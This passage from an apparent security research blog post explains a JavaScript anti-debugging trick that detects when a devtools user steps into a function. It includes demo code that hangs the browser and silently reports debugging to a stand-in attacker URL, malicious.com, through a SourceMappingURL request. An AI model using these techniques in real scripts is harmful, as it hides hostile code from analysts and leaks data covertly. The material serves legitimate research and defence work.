    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stealUserCookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stealUserCookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;legit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// do a legit action&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;legit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;malicious&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;debugger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Take the code above and run it in the devtools console twice:
On the first time, step into &lt;code&gt;main&lt;/code&gt; function, in or over &lt;code&gt;legit&lt;/code&gt; function (doesn’t matter) and then step over &lt;code&gt;malicious&lt;/code&gt; function.
No alert, right? &lt;code&gt;malicious&lt;/code&gt; function was executed silently and was not debugged.&lt;/p&gt;
&lt;p&gt;On the second time, do the same thing, only this time step in &lt;code&gt;malicious&lt;/code&gt; function instead of over.
This time, you should get the alert. This is because after evaluating the &lt;code&gt;detect&lt;/code&gt; variable which adds our special regex variable to the scope, the scope pane now has to display the name of the regex variable that is saved into the &lt;code&gt;detect&lt;/code&gt; variable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This infect allows me to tell which function was debugged when the devtools were open and which wasn’t. And not only I can tell that, but I can also choose what action to take when a function is being debugged, and execute that action in a different parallel thread with full access to the main thread!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;What’s also very cool about this trick and will give a hard time to anyone trying to debug the attacker’s code is that the callback to be called when the function is being debugged cannot be debugged in the devtools because it is a piece of code that is being called by the devtools itself.
Meaning the only way to successfully debug this function is via the developer tools of the developer tools! (you may read this paragraph as many times as you need to, no rush).&lt;/p&gt;
&lt;p&gt;This for example will get the browser stuck only when the &lt;code&gt;malicious&lt;/code&gt; function is debugged (based on the example above):&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;malicious&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;detect&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){};&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}());&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// do a malicious action&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stealUserCookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stealUserCookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And this can silently notify the attacker’s server when the &lt;code&gt;malicious&lt;/code&gt; function is debugged without the user ever knowing:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;  &lt;span class=&quot;nx&quot;&gt;smap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textContent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;s2&quot;&gt;`//# SourceMappingURL=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;?data=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;malicious&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;detect&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){};&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;smap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://malicious.com/reportFunctionIsDebugged&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;malicious&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}());&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// do a malicious action&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stealUserCookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stealUserCookies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// if this &apos;//# SourceMappingURL=&apos; trick doesn&apos;t make sense to you, you MUST read part 1 of my anti debugging techniques research!&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// check out https://weizman.github.io/page-js-anti-debug-1/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;You get the idea - &lt;strong&gt;run anything you want in any scope you choose without the need to wait for the debugger to free the code from being paused!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-a-hrefhttpswwwnpmjscompackagedebug-tracker-pocdebug-trackera-take-it-to-the-next-level&quot;&gt;The &lt;a href=&quot;https://www.npmjs.com/package/debug-tracker-poc&quot;&gt;debug-tracker&lt;/a&gt; (Take it to the next level)&lt;/h3&gt;
&lt;p&gt;Based on what we just learned, I decided to create the &lt;a href=&quot;https://www.npmjs.com/package/debug-tracker-poc&quot;&gt;debug-tracker&lt;/a&gt; - a NodeJS library that gets a string representation of javascript code, and returns it when each function is now tracked so when someone steps into that function via the devtools debugger, a provided callback will be called.
&lt;strong&gt;Think of it as like firing an event indicating a function is being debugged with the function’s name.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So basically passing the following code:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;to the library along with the following callback (to be fired when a function is debugged):&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`
            Function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;function_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; is being debugged!
            It was called with the following arguments: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;function_arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
            First time it happened: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;first_timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
            Last time it happened: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;last_timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
    `&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Will result in:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;c1&quot;&gt;// callback to be called when function is debugged&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;onFunctionDebugged&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`
                Function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;function_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; is being debugged!
                It was called with the following arguments: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;function_arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
                First time it happened: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;first_timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
                Last time it happened: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;last_timestamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
        `&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt; 
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;initTracker&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callstack&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callargs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; 
            &lt;span class=&quot;c1&quot;&gt;// reset callstack when synchronized debugging is over&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;callstack&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt; 
            &lt;span class=&quot;nx&quot;&gt;callargs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[];&lt;/span&gt; 
            &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;/./&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;firstDebugTime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// register the callback to be called when the function is being debugged &lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;dummy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// avoid being double called for the same debugged function&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;callstack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;callstack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;same&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
